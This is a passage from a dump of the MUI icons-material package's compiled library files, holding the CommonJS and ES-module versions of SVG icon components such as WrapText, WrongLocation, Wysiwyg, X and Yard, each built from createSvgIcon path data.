    "path": "packages/mui-icons-material/lib/WrapTextSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19h6v-2H4zM20 5H4v2h16zm-3 6H4v2h13.25c1.1 0 2 .9 2 2s-.9 2-2 2H15v-2l-3 3 3 3v-2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4\"\n}), 'WrapTextSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrapTextTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17h6v2H4zm13-6H4v2h13.25c1.1 0 2 .9 2 2s-.9 2-2 2H15v-2l-3 3 3 3v-2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4M4 5h16v2H4z\"\n}), 'WrapTextTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrapTextTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17h6v2H4zm13-6H4v2h13.25c1.1 0 2 .9 2 2s-.9 2-2 2H15v-2l-3 3 3 3v-2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4M4 5h16v2H4z\"\n}), 'WrapTextTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrongLocation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 10V3.26c-.65-.17-1.32-.26-2-.26-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-.41-.04-.81-.09-1.2zm-2 3c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.54 2.88-1.42-1.42L19 3.59l-2.12-2.13-1.42 1.42L17.59 5l-2.13 2.12 1.42 1.42L19 6.41l2.12 2.13 1.42-1.42L20.41 5z\"\n}, \"1\")], 'WrongLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrongLocation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 10V3.26c-.65-.17-1.32-.26-2-.26-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-.41-.04-.81-.09-1.2zm-2 3c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.54 2.88-1.42-1.42L19 3.59l-2.12-2.13-1.42 1.42L17.59 5l-2.13 2.12 1.42 1.42L19 6.41l2.12 2.13 1.42-1.42L20.41 5z\"\n}, \"1\")], 'WrongLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrongLocationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11v.2c0 2.34-1.95 5.44-6 9.14-4.05-3.7-6-6.79-6-9.14C6 7.57 8.65 5 12 5c.34 0 .68.03 1 .08V3.06c-.33-.04-.66-.06-1-.06-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8V11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"11\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.54 2.88-1.42-1.42L19 3.59l-2.12-2.13-1.42 1.42L17.59 5l-2.13 2.12 1.42 1.42L19 6.41l2.12 2.13 1.42-1.42L20.41 5z\"\n}, \"2\")], 'WrongLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrongLocationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11v.2c0 2.34-1.95 5.44-6 9.14-4.05-3.7-6-6.79-6-9.14C6 7.57 8.65 5 12 5c.34 0 .68.03 1 .08V3.06c-.33-.04-.66-.06-1-.06-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8V11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"11\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.54 2.88-1.42-1.42L19 3.59l-2.12-2.13-1.42 1.42L17.59 5l-2.13 2.12 1.42 1.42L19 6.41l2.12 2.13 1.42-1.42L20.41 5z\"\n}, \"2\")], 'WrongLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrongLocationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.42 4.5 1.38-1.38c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L19 3.08 17.62 1.7c-.39-.39-1.02-.39-1.41 0s-.39 1.02 0 1.41l1.38 1.38-1.38 1.38c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L19 5.92l1.38 1.38c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.67 8 19 7.33l-.59.59c-.7.7-1.84.88-2.65.3-1.03-.74-1.12-2.19-.26-3.05l.67-.67-.67-.67c-.36-.36-.54-.81-.57-1.28C14.01 2.19 13.02 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2c0-.76-.1-1.47-.26-2.14-.02-.02-.05-.04-.07-.06M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'WrongLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrongLocationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.42 4.5 1.38-1.38c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L19 3.08 17.62 1.7c-.39-.39-1.02-.39-1.41 0s-.39 1.02 0 1.41l1.38 1.38-1.38 1.38c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L19 5.92l1.38 1.38c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.67 8 19 7.33l-.59.59c-.7.7-1.84.88-2.65.3-1.03-.74-1.12-2.19-.26-3.05l.67-.67-.67-.67c-.36-.36-.54-.81-.57-1.28C14.01 2.19 13.02 2 12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2c0-.76-.1-1.47-.26-2.14-.02-.02-.05-.04-.07-.06M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'WrongLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrongLocationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 10V3.26c-.65-.17-1.32-.26-2-.26-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-.41-.04-.81-.09-1.2zm-2 3c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.54 2.88-1.42-1.42L19 3.59l-2.12-2.13-1.42 1.42L17.59 5l-2.13 2.12 1.42 1.42L19 6.41l2.12 2.13 1.42-1.42L20.41 5z\"\n}, \"1\")], 'WrongLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrongLocationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 10V3.26c-.65-.17-1.32-.26-2-.26-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8 0-.41-.04-.81-.09-1.2zm-2 3c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.54 2.88-1.42-1.42L19 3.59l-2.12-2.13-1.42 1.42L17.59 5l-2.13 2.12 1.42 1.42L19 6.41l2.12 2.13 1.42-1.42L20.41 5z\"\n}, \"1\")], 'WrongLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrongLocationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11v.2c0 2.34-1.95 5.44-6 9.14-4.05-3.7-6-6.79-6-9.14C6 7.57 8.65 5 12 5c.34 0 .68.03 1 .08V3.06c-.33-.04-.66-.06-1-.06-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8V11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"11\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.54 2.88-1.42-1.42L19 3.59l-2.12-2.13-1.42 1.42L17.59 5l-2.13 2.12 1.42 1.42L19 6.41l2.12 2.13 1.42-1.42L20.41 5z\"\n}, \"2\")], 'WrongLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WrongLocationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11v.2c0 2.34-1.95 5.44-6 9.14-4.05-3.7-6-6.79-6-9.14C6 7.57 8.65 5 12 5c.34 0 .68.03 1 .08V3.06c-.33-.04-.66-.06-1-.06-4.2 0-8 3.22-8 8.2 0 3.32 2.67 7.25 8 11.8 5.33-4.55 8-8.48 8-11.8V11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"11\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.54 2.88-1.42-1.42L19 3.59l-2.12-2.13-1.42 1.42L17.59 5l-2.13 2.12 1.42 1.42L19 6.41l2.12 2.13 1.42-1.42L20.41 5z\"\n}, \"2\")], 'WrongLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wysiwyg.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V7h14zm-2-7H7v-2h10zm-4 4H7v-2h6z\"\n}), 'Wysiwyg');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wysiwyg.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V7h14zm-2-7H7v-2h10zm-4 4H7v-2h6z\"\n}), 'Wysiwyg');"
  },
  {
    "path": "packages/mui-icons-material/lib/WysiwygOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V7h14zm-2-7H7v-2h10zm-4 4H7v-2h6z\"\n}), 'WysiwygOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WysiwygOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V7h14zm-2-7H7v-2h10zm-4 4H7v-2h6z\"\n}), 'WysiwygOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WysiwygRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V7h14zm-3-7H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m-4 4H8c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'WysiwygRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WysiwygRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V7h14zm-3-7H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m-4 4H8c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'WysiwygRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WysiwygSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12H7v-2h10zm-4 2H7v2h6zm8 7H3V3h18zM19 7H5v12h14z\"\n}), 'WysiwygSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WysiwygSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12H7v-2h10zm-4 2H7v2h6zm8 7H3V3h18zM19 7H5v12h14z\"\n}), 'WysiwygSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WysiwygTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V7h14zm-2-7H7v-2h10zm-4 4H7v-2h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V7h14zm-2-7H7v-2h10zm-4 4H7v-2h6z\"\n}, \"1\")], 'WysiwygTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WysiwygTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V7h14zm-2-7H7v-2h10zm-4 4H7v-2h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.89-2-2-2m0 16H5V7h14zm-2-7H7v-2h10zm-4 4H7v-2h6z\"\n}, \"1\")], 'WysiwygTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/X.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.244 2.25h3.308l-7.227 8.26 8.502 11.24H16.17l-5.214-6.817L4.99 21.75H1.68l7.73-8.835L1.254 2.25H8.08l4.713 6.231zm-1.161 17.52h1.833L7.084 4.126H5.117z\"\n}), 'X');"
  },
  {
    "path": "packages/mui-icons-material/lib/X.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.244 2.25h3.308l-7.227 8.26 8.502 11.24H16.17l-5.214-6.817L4.99 21.75H1.68l7.73-8.835L1.254 2.25H8.08l4.713 6.231zm-1.161 17.52h1.833L7.084 4.126H5.117z\"\n}), 'X');"
  },
  {
    "path": "packages/mui-icons-material/lib/Yard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 8.22c0-.86.7-1.56 1.56-1.56.33 0 .64.1.89.28l-.01-.12c0-.86.7-1.56 1.56-1.56s1.56.7 1.56 1.56l-.01.12c.26-.18.56-.28.89-.28.86 0 1.56.7 1.56 1.56 0 .62-.37 1.16-.89 1.4.52.25.89.79.89 1.41 0 .86-.7 1.56-1.56 1.56-.33 0-.64-.11-.89-.28l.01.12c0 .86-.7 1.56-1.56 1.56s-1.56-.7-1.56-1.56l.01-.12c-.26.18-.56.28-.89.28-.86 0-1.56-.7-1.56-1.56 0-.62.37-1.16.89-1.4C8.37 9.38 8 8.84 8 8.22M12 19c-3.31 0-6-2.69-6-6 3.31 0 6 2.69 6 6 0-3.31 2.69-6 6-6 0 3.31-2.69 6-6 6\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"9.62\",\n  r: \"1.56\"\n}, \"1\")], 'Yard');"
  },
  {
    "path": "packages/mui-icons-material/lib/Yard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 8.22c0-.86.7-1.56 1.56-1.56.33 0 .64.1.89.28l-.01-.12c0-.86.7-1.56 1.56-1.56s1.56.7 1.56 1.56l-.01.12c.26-.18.56-.28.89-.28.86 0 1.56.7 1.56 1.56 0 .62-.37 1.16-.89 1.4.52.25.89.79.89 1.41 0 .86-.7 1.56-1.56 1.56-.33 0-.64-.11-.89-.28l.01.12c0 .86-.7 1.56-1.56 1.56s-1.56-.7-1.56-1.56l.01-.12c-.26.18-.56.28-.89.28-.86 0-1.56-.7-1.56-1.56 0-.62.37-1.16.89-1.4C8.37 9.38 8 8.84 8 8.22M12 19c-3.31 0-6-2.69-6-6 3.31 0 6 2.69 6 6 0-3.31 2.69-6 6-6 0 3.31-2.69 6-6 6\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"9.62\",\n  r: \"1.56\"\n}, \"1\")], 'Yard');"
  },
  {
    "path": "packages/mui-icons-material/lib/YardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-3.31 0-6 2.69-6 6 3.31 0 6-2.69 6-6M6 13c0 3.31 2.69 6 6 6 0-3.31-2.69-6-6-6m2-1.97c0 .86.7 1.56 1.56 1.56.33 0 .63-.1.89-.28l-.01.12c0 .86.7 1.56 1.56 1.56s1.56-.7 1.56-1.56l-.01-.12c.25.17.56.28.89.28.86 0 1.56-.7 1.56-1.56 0-.62-.37-1.16-.89-1.41.52-.24.89-.78.89-1.4 0-.86-.7-1.56-1.56-1.56-.33 0-.63.1-.89.28l.01-.12c0-.86-.7-1.56-1.56-1.56s-1.56.7-1.56 1.56l.01.12c-.25-.18-.56-.28-.89-.28-.86 0-1.56.7-1.56 1.56 0 .62.37 1.16.89 1.41-.52.24-.89.78-.89 1.4m4-2.97c.86 0 1.56.7 1.56 1.56s-.7 1.56-1.56 1.56-1.56-.7-1.56-1.56.7-1.56 1.56-1.56M20 4v16H4V4zm0-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'YardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/YardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-3.31 0-6 2.69-6 6 3.31 0 6-2.69 6-6M6 13c0 3.31 2.69 6 6 6 0-3.31-2.69-6-6-6m2-1.97c0 .86.7 1.56 1.56 1.56.33 0 .63-.1.89-.28l-.01.12c0 .86.7 1.56 1.56 1.56s1.56-.7 1.56-1.56l-.01-.12c.25.17.56.28.89.28.86 0 1.56-.7 1.56-1.56 0-.62-.37-1.16-.89-1.41.52-.24.89-.78.89-1.4 0-.86-.7-1.56-1.56-1.56-.33 0-.63.1-.89.28l.01-.12c0-.86-.7-1.56-1.56-1.56s-1.56.7-1.56 1.56l.01.12c-.25-.18-.56-.28-.89-.28-.86 0-1.56.7-1.56 1.56 0 .62.37 1.16.89 1.41-.52.24-.89.78-.89 1.4m4-2.97c.86 0 1.56.7 1.56 1.56s-.7 1.56-1.56 1.56-1.56-.7-1.56-1.56.7-1.56 1.56-1.56M20 4v16H4V4zm0-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'YardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/YardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 8.22c0-.86.7-1.56 1.56-1.56.33 0 .64.1.89.28l-.01-.12c0-.86.7-1.56 1.56-1.56s1.56.7 1.56 1.56l-.01.12c.26-.18.56-.28.89-.28.86 0 1.56.7 1.56 1.56 0 .62-.37 1.16-.89 1.4.52.25.89.79.89 1.41 0 .86-.7 1.56-1.56 1.56-.33 0-.64-.11-.89-.28l.01.12c0 .86-.7 1.56-1.56 